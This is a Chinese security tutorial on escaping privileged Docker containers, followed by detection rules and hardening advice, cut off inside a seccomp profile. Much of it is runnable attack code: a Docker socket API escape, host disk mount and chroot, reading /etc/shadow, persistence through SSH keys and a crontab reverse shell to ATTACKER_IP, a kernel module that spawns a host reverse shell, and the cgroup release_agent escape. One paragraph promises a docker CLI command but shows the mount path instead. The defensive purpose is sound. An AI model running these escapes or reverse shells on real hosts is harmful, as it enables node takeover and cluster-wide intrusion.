概述

特权容器逃逸的背景与安全意义

容器并非虚拟机。虚拟机通过 Hypervisor 提供硬件级隔离,每个 VM 拥有独立内核;而容器本质上是宿主机上一个被 namespaces(命名空间)与 cgroups(控制组)"装扮"过的普通进程,所有容器共享同一个宿主机内核。这意味着容器隔离的强度,完全取决于运行时配置是否遵循最小权限原则。

在所有容器配置失误中,--privileged(特权模式)是最致命的一种。特权容器会获得几乎所有 Linux capabilities,并且设备 cgroup 不再对其做任何限制——容器内的 root 几乎等同于宿主机上的 root。一旦攻击者拿到特权容器的 Shell,逃逸到宿主机往往只是几条命令的事。

特权容器逃逸的安全意义在于:它不是利用某个内核 0day,而是利用内核自身提供的、本应"只给宿主 root 用"的合法机制(如 mount、内核模块加载、cgroup release_agent)。这些机制本身不感知容器的命名空间边界,因此一旦容器被赋予过高权限,隔离便形同虚设。在云原生环境中,一个特权容器逃逸往往意味着整个节点的沦陷,进而通过 Node 上的 ServiceAccount Token 横向渗透整个 Kubernetes 集群。

常见特权容器误配置场景

在实际生产环境中,特权容器的误配置往往源于"图省事"而非"不知道风险"。以下是高危场景清单:

场景 误配置方式 出现频率 实际风险
CI/CD 构建容器 docker run --privileged 构建 Docker-in-Docker 高 构建节点被攻击者完全接管
调试/排障容器 kubectl debug --privileged 后忘记清理 中 调试容器成为持久化后门
监控/Sidecar 容器 挂载 /var/run/docker.sock 以采集指标 高 Docker API 完全暴露
设备访问容器 --device /dev/sda 或 --privileged 访问 GPU 中 宿主机文件系统被直接读写
旧版存储插件 CSI/Flexvolume 以特权运行 中 节点存储栈被攻击
安全工具自身 部分运行时安全工具需特权采集事件 低 "守护者"反成"突破口"

最危险的一点是:许多开发者误以为 --privileged 只是"获得 root 权限",而实际上它还解除了设备访问限制、capability 限制、AppArmor/SELinux 限制以及 seccomp 过滤——这等于一次性拆掉了容器的所有隔离栅栏。

攻击链整体架构图

┌──────────────────────────────────────────────────────────────────────────┐
│                  特权容器逃逸攻击链全景                                      │
│                                                                          │
│  阶段一:初始立足        阶段二:权限确认        阶段三:逃逸执行           │
│  ┌──────────────┐     ┌──────────────┐     ┌───────────────────────┐    │
│  │ Web漏洞RCE   │────→│ capabilities │────→│ Docker Socket 创建新容器│    │
│  │ 反弹Shell    │     │ 探测         │     │ 块设备直接挂载          │    │
│  │ 钓鱼/供应链  │     │ 挂载点枚举   │     │ cgroup release_agent   │    │
│  │ 已植入容器   │     │ 设备文件发现 │     │ 内核模块加载            │    │
│  └──────────────┘     └──────────────┘     └───────────┬───────────┘    │
│                                                         │                │
│  阶段四:宿主机控制     阶段五:持久化与横向                          │
│  ┌──────────────────────────────┐     ┌──────────────────────────┐     │
│  │ chroot 进入宿主根文件系统    │────→│ 写入 systemd 计划任务     │     │
│  │ 读取宿主机 /etc/shadow      │     │ 窃取 Node SA Token        │     │
│  │ 以宿主 root 执行任意命令    │     │ 横向渗透 K8s 集群          │     │
│  └──────────────────────────────┘     └──────────────────────────┘     │
│                                                                          │
│  核心逃逸路径(任选其一即可):                                              │
│  ① Docker Socket → 创建挂载宿主根的特权容器                                │
│  ② /dev/sda1 块设备 → mount + chroot                                     │
│  ③ CAP_SYS_MODULE → insmod 恶意内核模块                                  │
│  ④ cgroup v1 release_agent → 宿主命名空间执行任意命令                      │
└──────────────────────────────────────────────────────────────────────────┘

攻击链复现

环境搭建

Docker 特权容器配置

在一个合法的测试环境中(建议使用独立的虚拟机,切勿在生产环境复现),准备一台 Ubuntu 22.04 LTS 宿主机,安装 Docker Engine。以下命令创建一个特权容器,模拟被攻击者攻破的容器:

# 1. 拉取基础镜像
docker pull ubuntu:22.04

# 2. 以特权模式启动容器(这是"误配置"的根源)
#    --privileged 解除所有 capability 限制与设备 cgroup 限制
#    同时挂载 docker.sock 用于复现 Docker Socket 逃逸路径
docker run -dit \
  --name victim-container \
  --privileged \
  -v /var/run/docker.sock:/var/run/docker.sock \
  ubuntu:22.04 /bin/bash

# 3. 验证特权状态:进入容器
docker exec -it victim-container /bin/bash

攻击者初始 Shell 获取

攻击者的初始 Shell 通常来源于 Web 应用 RCE、反弹 Shell 或供应链植入。为聚焦逃逸技术本身,本文假设攻击者已通过某种方式获得容器内的非特权用户 Shell,并通过 find / -perm -4000 2>/dev/null 等常规手段完成容器内提权至 root。后续所有逃逸操作均以容器内 root 身份进行。

# 容器内确认当前身份与权限
id
# uid=0(root) gid=0(root) groups=0(root)

# 确认是否处于容器环境
cat /proc/1/cgroup | head -1
# .../docker/<container-id>  ← 确认在容器中

ls -la /.dockerenv 2>/dev/null && echo "in container"
# -rw-r--r-- 1 root root 0 ... /.dockerenv

第一步:容器内信息收集

逃逸的第一步永远是确认"我到底拥有多少权限"。在容器中,关键信息包括:capabilities 集合、挂载点、可见的设备文件、内核版本与 cgroup 版本。

capabilities 探测

# 查看当前进程的全部 capabilities
# 特权容器的 CapEff 会包含几乎所有 capability(约 40 个)
cat /proc/self/status | grep -E 'Cap(Inh|Prm|Eff|Bnd|Amb)'

# 输出示例(特权容器):
# CapInh: 0000000000000000
# CapPrm: 0000003fffffffff
# CapEff: 0000003fffffffff   ← 全 1,表示几乎全部 capability
# CapBnd: 0000003fffffffff
# CapAmb: 0000000000000000

# 将十六进制 capability 掩码解码为可读名称
capsh --decode=0000003fffffffff
# 0x0000003fffffffff=cap_chown,cap_dac_override,...,cap_sys_admin,...,cap_sys_module,...

CapEff 为 0000003fffffffff 即可基本确认这是一个特权容器。普通容器的 CapEff 通常只有 14 个 capability,掩码为 00000000a80425fb,不包含 cap_sys_admin、cap_sys_module、cap_sys_ptrace 等高危项。

挂载点枚举

# 查看所有挂载点,重点关注是否挂载了宿主机敏感路径
mount | grep -E '(docker.sock|/dev/sd|/proc|/sys|host)'

# 输出示例:
# /var/run/docker.sock on /var/run/docker.sock type socket
# /dev/sda1 on /etc/hosts type ext4 (rw,relatime)

# 查看是否挂载了宿主机根或 docker.sock
cat /proc/mounts | grep -E 'docker.sock|/host'

设备文件发现

# 列出所有块设备(特权容器可见宿主机磁盘)
ls -la /dev/ | grep -E 'sd|nvme|vd'

# 输出示例:
# brw-rw---- 1 root disk 8, 1 ... /dev/sda1
# brw-rw---- 1 root disk 8, 2 ... /dev/sda2

# 查看块设备对应的文件系统
fdisk -l 2>/dev/null | grep -E '/dev/sd|/dev/nvme'
# /dev/sda1  *  2048  1050623  1048576  512M  b W95 FAT32
# /dev/sda2     1050624 625139711 624089088 297.7G  83 Linux

关键信息汇总

# 内核版本(决定可用的逃逸技术)
uname -r
# 5.15.0-91-generic

# cgroup 版本(v1 才有 release_agent 逃逸)
stat -fc %T /sys/fs/cgroup/
# tmpfs    ← 表示 cgroup v1(hybrid 模式)
# cgroup2fs ← 表示 cgroup v2(无 release_agent 逃逸)

# 是否能访问内核模块加载
which insmod modprobe 2>/dev/null
# /sbin/insmod
# /sbin/modprobe

第二步:Capabilities 滥用

特权容器逃逸的核心,是滥用被错误授予的高危 capability。以下逐一分析三个最关键的 capability。

CAP_SYS_ADMIN 权限利用

CAP_SYS_ADMIN 被戏称为"新的 root",因为它赋予进程执行大量特权操作的能力,包括 mount、umount、创建命名空间、配置 cgroup 等。它几乎是所有非块设备逃逸路径的前提。

# CAP_SYS_ADMIN 允许在容器内执行 mount
# 直接挂载宿主机磁盘分区到容器(逃逸路径一)
mkdir -p /tmp/hostfs
mount /dev/sda2 /tmp/hostfs

# 挂载成功后,/tmp/hostfs 即为宿主机根文件系统
ls /tmp/hostfs
# bin  boot  dev  etc  home  lib  ...  root  usr  var

# 通过 chroot 切入宿主机文件系统,获得宿主机 root 视角
chroot /tmp/hostfs /bin/bash

# 此时已"逃逸",可在宿主机文件系统视角下执行任意命令
cat /etc/shadow          # 读取宿主机密码哈希
crontab -l               # 查看宿主机计划任务

CAP_SYS_ADMIN 的危险在于它是"万能钥匙"——只要能 mount,就能挂载宿主磁盘、procfs、sysfs,进而获取或修改宿主机的一切。

CAP_SYS_PTRACE 权限利用

CAP_SYS_PTRACE 允许进程使用 ptrace() 系统调用附加到任意进程,即使该进程属于其他命名空间。在容器与宿主机共享 PID 命名空间(--pid=host)的场景下,攻击者可 ptrace 宿主机进程,读取其内存或注入代码。

# 前提:容器以 --pid=host 启动,可见宿主机进程
ps aux | head
# 可看到宿主机所有进程(PID 从 1 开始)

# 利用 ptrace 向宿主机进程注入 shellcode(概念性 PoC)
# 以下 C 代码 ptrace_attach.c 编译后可附加到宿主机 init 进程
cat > /tmp/ptrace_inject.c << 'EOF'
// ptrace 注入 PoC — 仅用于授权测试
#include <stdio.h>
#include <sys/ptrace.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    pid_t target = atoi(argv[1]);
    // 附加到目标进程(需 CAP_SYS_PTRACE)
    if (ptrace(PTRACE_ATTACH, target, NULL, NULL) < 0) {
        perror("ptrace attach");
        return 1;
    }
    waitpid(target, NULL, 0);
    // 此处可 PTRACE_POKETEXT 注入 shellcode 或 PTRACE_GETREGS 篡改寄存器
    printf("[+] Attached to host process %d\n", target);
    ptrace(PTRACE_DETACH, target, NULL, NULL);
    return 0;
}
EOF
gcc -o /tmp/ptrace_inject /tmp/ptrace_inject.c
# /tmp/ptrace_inject 1   ← 附加到宿主机 init 进程

即便不共享 PID 命名空间,CAP_SYS_PTRACE 结合 CAP_SYS_ADMIN(创建新的 PID namespace 并 setns)也可间接访问宿主机进程。

CAP_SYS_MODULE 权限利用

CAP_SYS_MODULE 允许加载内核模块(init_module/finit_module 系统调用)。内核模块运行在 ring 0,完全无视任何命名空间隔离——一旦加载恶意模块,即可在宿主机内核态执行任意代码。

# 验证是否有加载内核模块的权限
# 注意:容器内默认无内核头文件,需从宿主机或镜像获取
ls /lib/modules/$(uname -r)/ 2>/dev/null

# 利用方式见第五步"内核模块加载"

各 capability 的逃逸路径分析

Capability 直接逃逸路径 是否需额外条件 危害等级
CAP_SYS_ADMIN mount 宿主磁盘 → chroot 可见块设备 极高
CAP_SYS_ADMIN 挂载 cgroup v1 → release_agent cgroup v1 极高
CAP_SYS_PTRACE ptrace 宿主进程注入代码 共享 PID NS 或可 setns 高
CAP_SYS_MODULE insmod 恶意内核模块 内核头文件/预编译模块 极高
CAP_DAC_READ_SEARCH 绕过文件权限读取宿主文件 路径可达 中
CAP_NET_ADMIN 篡改网络栈、ARP 欺骗宿主 — 中

第三步:Docker Socket 利用

/var/run/docker.sock 挂载检测

Docker Socket(/var/run/docker.sock)是 Docker daemon 的 Unix 域套接字。一旦容器挂载了它,容器内进程就能通过 Docker API 完全控制宿主机上的 Docker daemon——等价于获得了宿主机 root 对容器编排的全部控制权。

# 检测 Docker Socket 是否存在且可写
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 ... /var/run/docker.sock

# 测试能否与 Docker daemon 通信
curl -s --unix-socket /var/run/docker.sock http://localhost/version | head -c 200
# {"Platform":{"Name":"Docker Engine"},...,"Version":"24.0.7",...}

能正常返回 JSON 即说明 Docker API 完全可用。

通过 Docker API 创建特权容器逃逸

核心思路:通过 Docker API 创建一个新的特权容器,并将宿主机根目录挂载进去,从而获得对宿主机文件系统的完全控制。

# === 完整 PoC:通过 Docker Socket 逃逸 ===

# 1. 检测 Docker Socket
ls -la /var/run/docker.sock

# 2. 拉取攻击用镜像(在宿主机 Docker daemon 上拉取)
curl -s -X POST --unix-socket /var/run/docker.sock \
  "http://localhost/images/create?fromImage=alpine&tag=latest"

# 3. 通过 Docker API 创建挂载宿主机根的特权容器
#    关键参数:
#    - "Privileged": true      → 新容器也是特权容器
#    - "Binds": ["/:/host"]    → 将宿主机根目录挂载到 /host
#    - "Cmd": 逃逸后执行的命令
curl -s -X POST --unix-socket /var/run/docker.sock \
  http://localhost/containers/create?name=pwn \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["chroot", "/host", "/bin/bash"],
    "Binds": ["/:/host"],
    "Privileged": true
  }'
# 返回: {"Id":"<container-id>","Warnings":[]}

# 4. 启动该容器
curl -s -X POST --unix-socket /var/run/docker.sock \
  http://localhost/containers/<container-id>/start

# 5. 在新容器中执行命令(此时已是宿主机 root 视角)
curl -s -X POST --unix-socket /var/run/docker.sock \
  "http://localhost/containers/<container-id>/exec" \
  -H "Content-Type: application/json" \
  -d '{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}'

# 6. 获取 exec 实例的输出
curl -s -X POST --unix-socket /var/run/docker.sock \
  "http://localhost/exec/<exec-id>/start" \
  -H "Content-Type: application/json" \
  -d '{"Detach":false,"Tty":false}'

更简洁的方式是直接在容器内安装 docker CLI,一条命令完成逃逸:

# 或直接挂载宿主机根文件系统(CAP_SYS_ADMIN 路径)
mkdir -p /tmp/hostfs
mount /dev/sda1 /tmp/hostfs
chroot /tmp/hostfs /bin/bash

Docker Socket 逃逸是云原生环境中最常见的逃逸方式之一,因为它不依赖任何内核漏洞,纯粹是配置失误导致的"权限倒挂"——容器内的低权限进程通过 socket 获得了宿主机上的最高权限。

第四步:设备文件直接挂载

特权容器的设备 cgroup 不做任何限制,因此容器内可以直接访问宿主机的块设备。这是最直接的逃逸方式,本质上与第二步的 CAP_SYS_ADMIN mount 路径相同,但更强调"设备可见性"这一前提。

# 1. 枚举宿主机块设备
lsblk
# NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
# sda      8:0    0  300G  0 disk
# ├─sda1   8:1    0  512M  0 part /boot/efi
# ├─sda2   8:2    0  297G  0 part /

# 2. 挂载宿主机根分区
mkdir -p /mnt/host
mount /dev/sda2 /mnt/host

# 3. 验证:此时可读写宿主机全部文件
ls /mnt/host/etc/shadow
cat /mnt/host/etc/crontab

# 4. 写入 SSH 公钥实现持久化(宿主机层)
mkdir -p /mnt/host/root/.ssh
echo "ssh-ed25519 AAAA... attacker@kali" >> /mnt/host/root/.ssh/authorized_keys

# 5. 或写入计划任务反弹 Shell
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  >> /mnt/host/etc/crontab

# 6. chroot 获得完整宿主机 Shell
chroot /mnt/host /bin/bash

即便不是 --privileged,只要容器通过 --device /dev/sda2 显式挂载了块设备,同样可执行上述逃逸。这提醒我们:--device 参数同样危险,必须严格审计。

第五步:内核模块加载

当容器拥有 CAP_SYS_MODULE 时,可在容器内加载内核模块。内核模块运行在 ring 0,完全无视容器隔离——这是从容器直接进入宿主机内核态的"官方通道"。

# === 恶意内核模块 PoC(reverse_shell.ko)===
# 该模块加载后在内核态创建一个反弹 Shell 的用户态进程
# 模块源码 reverse_shell.c:

cat > /tmp/reverse_shell.c << 'EOF'
/*
 * reverse_shell.ko — 内核模块逃逸 PoC(仅用于授权测试)
 * 加载后在宿主机内核态执行,调用 call_usermodehelper 反弹 Shell
 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/umh.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("PoC");
MODULE_DESCRIPTION("Container escape via CAP_SYS_MODULE");

static char *argv[] = { "/bin/bash", "-c",
    "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", NULL };
static char *envp[] = { "HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };

static int __init reverse_shell_init(void) {
    pr_info("[*] Loading escape module...\n");
    // call_usermodehelper 在宿主机 init 命名空间执行用户态命令
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    pr_info("[+] Shell spawned on host\n");
    return 0;
}

static void __exit reverse_shell_exit(void) {
    pr_info("[*] Unloading escape module\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
EOF

# 编译 Makefile(需宿主机内核头文件)
cat > /tmp/Makefile << 'EOF'
obj-m += reverse_shell.o
KDIR := /lib/modules/$(shell uname -r)/build
all:
	make -C $(KDIR) M=$(PWD) modules
EOF

# 编译并加载(在容器内执行,作用于宿主机内核)
make
insmod reverse_shell.ko

# 此时宿主机内核已加载该模块,call_usermodehelper 在宿主机命名空间
# 执行了反弹 Shell,攻击者在 ATTACKER_IP:4444 收到宿主机 root Shell
dmesg | tail
# [+] Shell spawned on host

call_usermodehelper 是关键:它在宿主机的初始命名空间(initial namespace)中启动用户态进程,因此反弹的 Shell 直接就是宿主机 root,而非容器内进程。内核模块加载是所有逃逸方式中危害最大的,因为它绕过了一切用户态隔离。

第六步:cgroup release_agent 利用

cgroup v1 的 release_agent 机制是经典的"合法机制逃逸":当某个 cgroup 中最后一个进程退出时,内核会以 root 身份、在宿主机初始命名空间中执行该 cgroup 配置的 release_agent 脚本。这个机制完全不感知容器命名空间边界。

# === cgroup v1 release_agent 逃逸完整 PoC ===
# 前提:容器拥有 CAP_SYS_ADMIN 且宿主机使用 cgroup v1(或 hybrid)

# 1. 挂载 cgroup v1 的 memory 子系统(如未挂载)
mkdir -p /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp

# 2. 创建一个新的 cgroup 子目录(攻击者控制)
mkdir /tmp/cgrp/x

# 3. 启用 notify_on_release:当该 cgroup 最后一个进程退出时触发 release_agent
echo 1 > /tmp/cgrp/x/notify_on_release

# 4. 获取容器在宿主机上的真实路径
# 容器内 / 是 overlayfs,其 upperdir 在宿主机上的路径形如:
#   /var/lib/docker/overlay2/<hash>/merged
host_path=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab`
# 拼接出 release_agent 脚本在宿主机上的路径
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# 5. 在容器内写入要执行的命令(会出现在宿主机文件系统上)
cat > /cmd << 'EOF'
#!/bin/sh
# 此脚本将以宿主机 root 身份、在宿主机初始命名空间执行
cat /etc/shadow > $host_path/output
whoami >> $host_path/output
EOF
chmod +x /cmd

# 6. 触发:在 cgroup x 中启动一个进程并立即退出
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs && exec sleep 1"

# 7. 读取结果(命令已在宿主机上以 root 执行)
cat /output
# root:$6$...:...    ← 宿主机 shadow 内容
# root                ← 宿主机上的身份

release_agent 逃逸的精妙之处在于:它不修改任何内核代码,只是配置了一个内核本来就支持的"清理钩子"。内核在执行 release_agent 时,根本不检查调用者是否在容器中——这是 cgroup v1 的设计缺陷。CVE-2022-0492 正与此相关,它在非特权场景下也能利用,但特权容器中利用更加简单直接。


权限点分析

攻击链中的关键权限提升点

整个攻击链的每一步都对应一个"权限检查点"。理解这些检查点,才能理解为什么特权容器如此危险——它一次性通过了所有检查。

┌─────────────────────────────────────────────────────────────────┐
│                 攻击链权限检查点分解                                │
│                                                                 │
│  检查点                  普通容器    特权容器    绕过方式         │
│  ─────────────────────   ────────    ────────    ─────────       │
│  ① 设备 cgroup 限制      生效        解除        --privileged    │
│  ② CAP_SYS_ADMIN         无          有          --privileged    │
│  ③ CAP_SYS_MODULE        无          有          --privileged    │
│  ④ CAP_SYS_PTRACE        无          有          --privileged    │
│  ⑤ mount 系统调用过滤     seccomp拦截  放行        --privileged    │
│  ⑥ AppArmor/SELinux      生效        解除        --privileged    │
│  ⑦ docker.sock 可访问    否          取决于挂载  -v 挂载          │
│  ⑧ cgroup release_agent  需SYS_ADMIN 需SYS_ADMIN --privileged    │
│  ⑨ /proc/sys 内核参数    部分只读    部分可写    --privileged    │
└─────────────────────────────────────────────────────────────────┘

关键权限提升点分析:

  1. 设备 cgroup 解除(检查点①):--privileged 自动执行 --device-all,将宿主机所有设备暴露给容器。这是后续 mount 块设备逃逸的前提。普通容器即使有 CAP_SYS_ADMIN,也无法访问 /dev/sda,因为设备 cgroup 会拒绝。

  2. CAP_SYS_ADMIN 授予(检查点②):这是 mount 操作的权限基础。没有它,mount /dev/sda2 会返回 EPERM。普通容器的 CapEff 掩码不含此位。

  3. seccomp 放行(检查点⑤):Docker 默认 seccomp profile 会阻止 mount、keyctl、unshare 等约 44 个系统调用。--privileged 会禁用 seccomp,使这些系统调用全部可用。这意味着即使去掉 --privileged 只保留 capabilities,seccomp 仍能阻止部分逃逸。

  4. AppArmor/SELinux 解除(检查点⑥):--privileged 同时禁用 AppArmor profile(默认的 docker-default)。这意味着即使有 capabilities,MAC(强制访问控制)也不再提供纵深防御。

最小权限原则分析

特权容器之所以危险,本质上是对最小权限原则的全面违背。按照最小权限原则,一个容器只需要完成其业务功能所必需的最小 capability 集合。例如:

业务场景 所需 capability 错误做法 正确做法
绑定 80 端口 CAP_NET_BIND_SERVICE --privileged --cap-add NET_BIND_SERVICE
修改网络路由 CAP_NET_ADMIN --privileged --cap-add NET_ADMIN
采集系统性能 无(用 eBPF/procfs) --privileged 只读挂载 /proc
需要 Docker API 无 挂载 docker.sock 使用 Docker TCP+TLS 限定权限

最小权限分析的核心结论:绝大多数使用 --privileged 的场景,其实只需要 0-2 个 capability。Docker Socket 逃逸和 cgroup 逃逸在仅有特定 capability 时仍可能发生,但块设备挂载、内核模块加载等高危路径在移除 CAP_SYS_ADMIN/CAP_SYS_MODULE 后会被完全阻断。


检测方案

Falco / eBPF 检测规则

Falco 是 CNCF 的容器运行时安全检测工具,基于内核模块或 eBPF 探针实时监控系统调用。以下规则可检测本文涉及的各逃逸路径。

# falco_rules_local.yaml — 特权容器逃逸检测规则

# 规则1:容器内挂载宿主机块设备
- rule: Mount Host Filesystem from Container
  desc: 检测容器内执行 mount 挂载块设备(逃逸信号)
  condition: >
    evt.type=mount and container and
    (fd.name startswith /dev/sd or fd.name startswith /dev/nvme or
     fd.name startswith /dev/vd)
  output: >
    Privileged container escape attempt — mount host device
    (user=%user.name container=%container.name image=%container.image.repository
     device=%fd.name cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [container_escape, privileged, mitre_privilege_escalation]

# 规则2:容器内加载内核模块
- rule: Load Kernel Module from Container
  desc: 检测容器内执行 insmod/modprobe(CAP_SYS_MODULE 滥用)
  condition: >
    spawned_process and container and
    (proc.name in (insmod, modprobe) or
     (evt.type=init_module and proc.name!="kmod"))
  output: >
    Kernel module loaded from container — possible escape
    (user=%user.name container=%container.name
     image=%container.image.repository cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [container_escape, kernel_module]

# 规则3:容器内访问 Docker Socket
- rule: Docker Socket Access from Container
  desc: 检测容器内进程访问 docker.sock
  condition: >
    open_read_write and container and
    fd.name=/var/run/docker.sock
  output: >
    Container accessing Docker socket — possible escape
    (user=%user.name container=%container.name
     image=%container.image.repository proc=%proc.name)
  priority: WARNING
  tags: [container_escape, docker_socket]

# 规则4:cgroup release_agent 写入
- rule: Write Cgroup Release Agent
  desc: 检测写入 release_agent 文件(cgroup 逃逸信号)
  condition: >
    open_write and container and
    fd.name contains "release_agent"
  output: >
    Cgroup release_agent modified — possible escape
    (user=%user.name container=%container.name
     file=%fd.name cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [container_escape, cgroup, CVE-2022-0492]

# 规则5:特权容器启动(基线告警)
- rule: Launch Privileged Container
  desc: 检测启动特权容器
  condition: >
    container and container.privileged=true and evt.type=container
  output: >
    Privileged container launched
    (container=%container.name image=%container.image.repository
     user=%user.name)
  priority: WARNING
  tags: [privileged_container, baseline]

# 规则6:容器内 chroot 到挂载点
- rule: Chroot to Mounted Host FS
  desc: 检测容器内 chroot(逃逸后落地动作)
  condition: >
    spawned_process and container and proc.name=chroot
  output: >
    Chroot executed in container — possible post-escape action
    (user=%user.name container=%container.name cmd=%proc.cmdline)
  priority: WARNING
  tags: [container_escape, chroot]

Docker audit 日志

通过 Linux auditd 审计 Docker daemon 的关键操作,可记录所有通过 Docker API 创建特权容器的行为:

# /etc/audit/rules.d/docker.rules — Docker 审计规则

# 审计 Docker daemon 配置变更
-w /usr/bin/dockerd -p wa -k docker_daemon
-w /etc/docker/ -p wa -k docker_config

# 审计 docker.sock 的访问
-w /var/run/docker.sock -p rwxa -k docker_socket_access

# 审计容器运行时关键系统调用
-a always,exit -F arch=b64 -S mount -F auid>=1000 -k container_mount
-a always,exit -F arch=b64 -S init_module -F auid>=1000 -k kernel_module_load
-a always,exit -F arch=b64 -S delete_module -F auid>=1000 -k kernel_module_unload

# 重载审计规则
augenrules --load

# 查询逃逸相关审计事件
ausearch -k docker_socket_access | tail -20
ausearch -k kernel_module_load | tail -20

Sysmon 容器事件

Sysmon for Linux 可记录进程创建、网络连接等事件,用于容器逃逸的取证分析:

<!-- sysmon_config.xml — 容器逃逸检测配置 -->
<Sysmon schemaversion="4.93">
  <EventFiltering>
    <!-- 记录容器内 mount 调用 -->
    <RuleGroup name="Container Escape" groupRelation="or">
      <ProcessCreate onmatch="include">
        <!-- 捕获容器内的 mount/chroot/insmod -->
        <CommandLine condition="contains">mount /dev/sd</CommandLine>
        <CommandLine condition="contains">chroot /mnt/host</CommandLine>
        <CommandLine condition="is">insmod</CommandLine>
        <CommandLine condition="contains">release_agent</CommandLine>
        <!-- 捕获 docker.sock 的 curl 访问 -->
        <CommandLine condition="contains">--unix-socket /var/run/docker.sock</CommandLine>
      </ProcessCreate>
      <!-- 记录对块设备的访问 -->
      <FileCreate onmatch="include">
        <TargetFilename condition="begin with">/dev/sd</TargetFilename>
        <TargetFilename condition="begin with">/dev/nvme</TargetFilename>
      </FileCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>
# 安装并加载 Sysmon 配置
sysmon -accepteula -i sysmon_config.xml

# 查询 Sysmon 日志(逃逸事件)
sysmon -d | grep -E 'mount|chroot|insmod|docker.sock'

加固方案

Docker 安全配置

禁用 --privileged 标志

最有效的加固是彻底禁用 --privileged。Docker 本身没有"禁止特权"的开关,但可通过以下方式约束:

# 方法1:通过 AppArmor 限制(推荐)
# 创建 AppArmor profile 禁止特权操作
cat > /etc/apparmor.d/docker-no-privileged << 'EOF'
#include <tunables/global>
profile docker-no-privileged flags=(attach_disconnected) {
  #include <abstractions/base>
  # 禁止 mount 系统调用
  deny mount,
  # 禁止加载内核模块
  deny /lib/modules/** wklx,
  # 禁止访问块设备
  deny /dev/sd* wklx,
  deny /dev/nvme* wklx,
  # 禁止访问 docker.sock
  deny /var/run/docker.sock rw,
  # 禁止写入 release_agent
  deny /**/release_agent w,
}
EOF
apparmor_parser -r /etc/apparmor.d/docker-no-privileged

# 启动容器时应用该 profile
docker run --security-opt apparmor=docker-no-privileged ...
# 方法2:通过 OPA/Gatekeeper 在 K8s 层禁止(见下文 PSS)
# 方法3:通过企业内部 CI/CD 流水线扫描 Dockerfile/docker-compose
# 检测 --privileged 关键字

最小 capabilities 配置

用 --cap-drop 移除所有 capability,再用 --cap-add 按需添加:

# 最佳实践:先 drop ALL,再按需 add
docker run -dit \
  --cap-drop ALL \
  --cap-add NET_BIND_SERVICE \
  --security-opt no-new-privileges \
  ubuntu:22.04

# 验证 capability 是否已最小化
docker exec <container> cat /proc/self/status | grep CapEff
# CapEff: 0000000000000400  ← 仅 NET_BIND_SERVICE

用户命名空间隔离

用户命名空间映射(user namespace remapping)使容器内 root 映射为宿主机上的非特权用户,即便逃逸也只是非特权用户:

# /etc/docker/daemon.json — 启用 user namespace remapping
{
  "userns-remap": "default"
}

# 重启 Docker
systemctl restart docker

# 此后容器内 root (uid=0) 在宿主机上映射为 dockremap 用户(如 uid=100000)
# 即使逃逸到宿主机,也只是一个无权限的普通用户

Kubernetes Pod Security Standards

Kubernetes Pod Security Standards(PSS)从 1.25 起替代了已废弃的 PodSecurityPolicy,提供三个级别的安全基线。可通过 Pod Security Admission 强制执行。

Baseline 策略

Baseline 禁止已知提权风险最高的配置,适用于所有 Pod:

# namespace 级别强制 Baseline
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: baseline
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/warn: baseline
---
# Baseline 禁止的配置(以下 Pod 会被拒绝)
apiVersion: v1
kind: Pod
metadata:
  name: bad-pod
spec:
  hostPID: true               # Baseline 禁止
  hostNetwork: true           # Baseline 禁止
  containers:
  - name: app
    image: app:v1
    securityContext:
      privileged: true        # Baseline 禁止 ← 关键
      capabilities:
        add: ["SYS_ADMIN"]    # Baseline 禁止危险 capability

Restricted 策略

Restricted 是最严格的级别,要求容器以非 root 运行、移除所有 capability 并启用 seccomp,适用于生产环境:

apiVersion: v1
kind: Namespace
metadata:
  name: restricted-ns
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
---
# Restricted 级别的合规 Pod 示例
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  automountServiceAccountToken: false
  securityContext:
    runAsNonRoot: true        # 必须
    runAsUser: 10001
    seccompProfile:           # 必须
      type: RuntimeDefault
  containers:
  - name: app
    image: app:v1
    securityContext:
      allowPrivilegeEscalation: false   # 必须
      readOnlyRootFilesystem: true      # 推荐
      runAsNonRoot: true
      capabilities:
        drop: ["ALL"]         # 必须 drop 全部
    resources:
      limits:
        memory: "256Mi"
        cpu: "500m"

策略校验工具

# 使用 kubeconform 或 kubectl verify 校验 Pod 是否符合 PSS
kubectl label namespace prod pod-security.kubernetes.io/enforce=restricted

# 部署违反 Restricted 的 Pod 会被 Admission Controller 直接拒绝
kubectl apply -f privileged-pod.yaml
# Error from server (Forbidden): Pod ... is forbidden:
# violates PodSecurity "restricted:latest":
# privileged (container "app" must not set securityContext.privileged=true)

运行时安全

Seccomp profile

Seccomp(Secure Computing Mode)过滤进程可执行的系统调用。Docker 默认 profile 已阻断 mount、init_module 等 44 个危险调用。可进一步定制:

// custom-seccomp.json — 禁止逃逸相关系统调用
{
  "defaultAction": "SCMP_ACT_ERRNO",
  "defaultErrnoRet": 1,
  "architectures": ["SCMP_ARCH_X86_64"],
  "syscalls": [
    {
      "names": [
        "read", "write", "open", "openat", "close", "stat", "fstat",
        "lstat", "poll", "lseek", "mmap", "mprotect", "munmap",
